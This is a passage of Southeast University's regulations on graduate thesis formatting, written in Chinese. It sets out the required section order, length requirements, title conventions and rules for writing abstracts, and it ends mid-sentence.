东南大学研究生学位论文格式规定 研究生学位论文是研究生在导师指导下从事科学研究或技术创新结果的报告和总结。为了统一写作标准,保证论文的规范性和独创性要求,提高论文撰写水平和促进国内外技术交流与成果应用,特制定本规定: 一、学位论文的一般格式和顺序 学位论文应包括:(1)中文封面;(2)中文页面;(3)英文页面;(4)论文独创性声明和使用授权声明;(5)中文内容提要及关键词;(6)英文内容提要及关键词;(7)目录;(8)正文;(9)致谢;(10)参考文献等要素并按此顺序排列。其他可以选择添加的内容有:位于目录之后的内容:(11)符号、变量、缩略词等本论文专用术语的注释表;参考文献后按序排列的内容:(12)附录;(13)索引(中、英文);(14)作者简介(包括在学期间发表的论文和取得的学术成果清单);(15)后记。 紧接英文页面之后的学位论文独创性声明和使用授权声明(见附件)需要由研究生本人亲笔签名,学位论文需要提交电子版以便于数据库管理和网上查阅。有保密要求不宜公开的论文由研究生申请、导师同意、院系审核,经校保密办公室和研究生院学位办审查批准后同意保密,保密期后自动承认使用授权声明,并予以公开。 硕士学位论文一般在三万字以上,博士学位论文一般在五万字以上。文字采用中文简体;除艺术、古籍等个别经研究生院特许的情况外,不得采用繁体字。鼓励采用中英文双语写作,但上交国家及校图书馆的论文原则上必须用中文。用全英文撰写的硕士学位论文需提供不少于3000字的中文摘要,用全英文撰写的博士学位论文需提供不少于6000字的中文摘要。 对于专业学位硕士论文,可参照各院(系、所)的相关要求执行。特殊情况可经研究生院批准后执行。 (一)论文题目 论文题目是论文全貌的集中体现,应能概括整个论文最重要的内容,命题必须确切、简明,题目应力求简单,也不应宽泛笼统,须能看出论文的实质性内容和工作重心。中文题名一般不超过20个汉字,必要时可加副题名。副题名可另起一行,用破折号与主题名隔开。题名中应避免使用非公知公用的缩略语、字符、代号以及结构式和公式。 可公开交流的学位论文应有英文题名。英文题名另起一页,排印在学位授予单位的英文译名前,其间用“A Dissertation Submitted to”(硕士学位论文用“A Thesis Submitted to”)作为标志,后面注明学位类别、研究生姓名、导师姓名、日期等。英文题名格式见研究生院主页学位教育→文件下载→英文页面格式。 (二)论文摘要(提要) 论文摘要包括题名、硕士(博士)研究生姓名、导师姓名、学校名称、正文、关键词。中文约500字左右,英文约200~300词左右,二者应基本对应。它是论文内容的高度概括,应说明研究目的、研究方法、成果和结论,要突出本论文的创造性成果或新的见解,用语简洁、准确。论文摘要后还应注明本文的关键词3至5个。关键词应为公知公用的词和学术术语,不可采用自造字词和略写、符号等,词组不宜过长。 英文摘要采用第三人称单数语气介绍该学位论文内容,目的是便于其他文摘摘录,因此在写作英文文摘时不宜用第一人称的语气陈述。叙述的基本时态为一般现在时,确实需要强调过去的事情或者已经完成的行为才使用过去时、完成时等其他时态。可以采用被动语态,但要避免出现用“This paper”作为主语代替作者完成某些研究行为。中国姓名译为英文时用汉语拼音,按照姓前名后的原则,姓、名均用全名,不宜用缩写。姓全用大写,名的第一个字母大写,名为双中文字时两个字的拼音之间可以不用短划线,但容易引起歧义时必须用短

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